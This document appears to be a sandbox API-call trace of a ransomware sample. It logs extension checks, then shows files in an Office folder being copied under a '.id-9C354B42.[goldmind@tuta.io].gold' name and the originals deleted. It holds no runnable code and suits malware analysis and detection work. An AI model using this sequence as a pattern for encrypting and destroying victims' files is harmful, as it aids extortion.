[0107.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.659] lstrlenW (lpString=".dbf") returned 4 [0107.659] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.659] lstrlenW (lpString=".1cd") returned 4 [0107.659] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67 [0107.659] lstrlenW (lpString=".jpg") returned 4 [0107.659] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.659] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0107.659] lstrlenW (lpString="VISIO.HXS") returned 9 [0107.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.659] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2839338) returned 1 [0107.659] CloseHandle (hObject=0x3ac) returned 1 [0107.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs")) returned 0x20 [0107.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0107.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.660] lstrlenW (lpString=".doc") returned 4 [0107.660] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0107.660] lstrlenW (lpString=".docx") returned 5 [0107.660] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1 [0107.660] lstrlenW (lpString=".pdf") returned 4 [0107.660] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0107.660] lstrlenW (lpString=".xls") returned 4 [0107.660] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0107.660] lstrlenW (lpString=".xlsx") returned 5 [0107.660] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1 [0107.660] lstrlenW (lpString=".ppt") returned 4 [0107.660] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0107.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.660] lstrlenW (lpString=".zip") returned 4 [0107.660] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0107.660] lstrlenW (lpString=".rar") returned 4 [0107.660] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0107.660] lstrlenW (lpString=".bz2") returned 4 [0107.660] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0107.660] lstrlenW (lpString=".7z") returned 3 [0107.660] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0107.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.660] lstrlenW (lpString=".dbf") returned 4 [0107.660] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0107.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.660] lstrlenW (lpString=".1cd") returned 4 [0107.660] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0107.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.660] lstrlenW (lpString=".jpg") returned 4 [0107.660] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0107.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.660] lstrlenW (lpString=".doc") returned 4 [0107.660] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0107.660] lstrlenW (lpString=".docx") returned 5 [0107.660] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1 [0107.661] lstrlenW (lpString=".pdf") returned 4 [0107.661] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0107.661] lstrlenW (lpString=".xls") returned 4 [0107.661] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0107.661] lstrlenW (lpString=".xlsx") returned 5 [0107.661] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1 [0107.661] lstrlenW (lpString=".ppt") returned 4 [0107.661] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0107.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.661] lstrlenW (lpString=".zip") returned 4 [0107.661] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0107.661] lstrlenW (lpString=".rar") returned 4 [0107.661] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0107.661] lstrlenW (lpString=".bz2") returned 4 [0107.661] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0107.661] lstrlenW (lpString=".7z") returned 3 [0107.661] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0107.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.661] lstrlenW (lpString=".dbf") returned 4 [0107.661] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0107.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.661] lstrlenW (lpString=".1cd") returned 4 [0107.661] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0107.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57 [0107.661] lstrlenW (lpString=".jpg") returned 4 [0107.661] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0107.661] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0107.661] lstrlenW (lpString="VISIO.SHAPESHEET.HXS") returned 20 [0107.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.661] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=879814) returned 1 [0107.662] CloseHandle (hObject=0x3ac) returned 1 [0107.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 0x20 [0107.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.662] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.662] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.663] GetLastError () returned 0x0 [0107.663] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xd6cc6, lpOverlapped=0x0) returned 1 [0107.680] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xd6cd0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xd6cd0, lpOverlapped=0x0) returned 1 [0107.962] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.962] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0107.962] SetEndOfFile (hFile=0x394) returned 1 [0107.963] CloseHandle (hObject=0x394) returned 1 [0107.963] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.963] SetEndOfFile (hFile=0x3ac) returned 1 [0107.976] CloseHandle (hObject=0x3ac) returned 1 [0107.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 1 [0107.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.977] lstrlenW (lpString=".doc") returned 4 [0107.977] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0107.977] lstrlenW (lpString=".docx") returned 5 [0107.977] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0107.977] lstrlenW (lpString=".pdf") returned 4 [0107.977] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0107.977] lstrlenW (lpString=".xls") returned 4 [0107.977] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0107.977] lstrlenW (lpString=".xlsx") returned 5 [0107.977] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0107.977] lstrlenW (lpString=".ppt") returned 4 [0107.977] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0107.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.977] lstrlenW (lpString=".zip") returned 4 [0107.977] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0107.977] lstrlenW (lpString=".rar") returned 4 [0107.977] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0107.977] lstrlenW (lpString=".bz2") returned 4 [0107.977] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0107.977] lstrlenW (lpString=".7z") returned 3 [0107.977] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0107.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.977] lstrlenW (lpString=".dbf") returned 4 [0107.977] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0107.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.978] lstrlenW (lpString=".1cd") returned 4 [0107.978] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0107.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.978] lstrlenW (lpString=".jpg") returned 4 [0107.978] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0107.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.978] lstrlenW (lpString=".doc") returned 4 [0107.978] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0107.978] lstrlenW (lpString=".docx") returned 5 [0107.978] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0107.978] lstrlenW (lpString=".pdf") returned 4 [0107.978] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0107.978] lstrlenW (lpString=".xls") returned 4 [0107.978] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0107.978] lstrlenW (lpString=".xlsx") returned 5 [0107.978] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0107.978] lstrlenW (lpString=".ppt") returned 4 [0107.978] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0107.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.978] lstrlenW (lpString=".zip") returned 4 [0107.978] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0107.978] lstrlenW (lpString=".rar") returned 4 [0107.978] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0107.978] lstrlenW (lpString=".bz2") returned 4 [0107.978] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0107.978] lstrlenW (lpString=".7z") returned 3 [0107.978] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0107.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.978] lstrlenW (lpString=".dbf") returned 4 [0107.978] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0107.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.978] lstrlenW (lpString=".1cd") returned 4 [0107.978] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0107.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0107.978] lstrlenW (lpString=".jpg") returned 4 [0107.978] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0107.978] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0107.978] lstrlenW (lpString="VISIO_PRM_K_COL.HXK") returned 19 [0107.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.979] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=113) returned 1 [0107.979] CloseHandle (hObject=0x3ac) returned 1 [0107.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 0x20 [0107.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.979] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.979] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.980] GetLastError () returned 0x0 [0107.980] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x71, lpOverlapped=0x0) returned 1 [0107.981] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.981] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.981] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0107.982] SetEndOfFile (hFile=0x394) returned 1 [0107.982] CloseHandle (hObject=0x394) returned 1 [0107.982] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.982] SetEndOfFile (hFile=0x3ac) returned 1 [0108.093] CloseHandle (hObject=0x3ac) returned 1 [0108.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 1 [0108.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.107] lstrlenW (lpString=".doc") returned 4 [0108.107] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.107] lstrlenW (lpString=".docx") returned 5 [0108.107] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.107] lstrlenW (lpString=".pdf") returned 4 [0108.107] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.107] lstrlenW (lpString=".xls") returned 4 [0108.107] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.107] lstrlenW (lpString=".xlsx") returned 5 [0108.107] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.107] lstrlenW (lpString=".ppt") returned 4 [0108.107] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.107] lstrlenW (lpString=".zip") returned 4 [0108.107] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.107] lstrlenW (lpString=".rar") returned 4 [0108.107] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.107] lstrlenW (lpString=".bz2") returned 4 [0108.107] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.107] lstrlenW (lpString=".7z") returned 3 [0108.107] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.107] lstrlenW (lpString=".dbf") returned 4 [0108.107] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.107] lstrlenW (lpString=".1cd") returned 4 [0108.107] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.107] lstrlenW (lpString=".jpg") returned 4 [0108.107] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.107] lstrlenW (lpString=".doc") returned 4 [0108.107] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.107] lstrlenW (lpString=".docx") returned 5 [0108.107] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.107] lstrlenW (lpString=".pdf") returned 4 [0108.107] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.107] lstrlenW (lpString=".xls") returned 4 [0108.107] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.107] lstrlenW (lpString=".xlsx") returned 5 [0108.108] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.108] lstrlenW (lpString=".ppt") returned 4 [0108.108] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.108] lstrlenW (lpString=".zip") returned 4 [0108.108] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.108] lstrlenW (lpString=".rar") returned 4 [0108.108] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.108] lstrlenW (lpString=".bz2") returned 4 [0108.108] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.108] lstrlenW (lpString=".7z") returned 3 [0108.108] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.108] lstrlenW (lpString=".dbf") returned 4 [0108.108] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.108] lstrlenW (lpString=".1cd") returned 4 [0108.108] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0108.108] lstrlenW (lpString=".jpg") returned 4 [0108.108] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.108] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0108.108] lstrlenW (lpString="VVIEWRES.DLL") returned 12 [0108.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0108.132] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=668544) returned 1 [0108.132] CloseHandle (hObject=0x39c) returned 1 [0108.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll")) returned 0x20 [0108.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vviewres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0108.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.146] lstrlenW (lpString=".doc") returned 4 [0108.146] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0108.146] lstrlenW (lpString=".docx") returned 5 [0108.146] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0108.146] lstrlenW (lpString=".pdf") returned 4 [0108.146] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0108.146] lstrlenW (lpString=".xls") returned 4 [0108.146] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0108.146] lstrlenW (lpString=".xlsx") returned 5 [0108.146] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0108.146] lstrlenW (lpString=".ppt") returned 4 [0108.146] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0108.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VVIEWRES.DLL") returned 60 [0108.146] lstrlenW (lpString=".zip") returned 4 [0108.146] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0108.146] lstrlenW (lpString=".rar") returned 4 [0108.146] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0108.146] lstrlenW 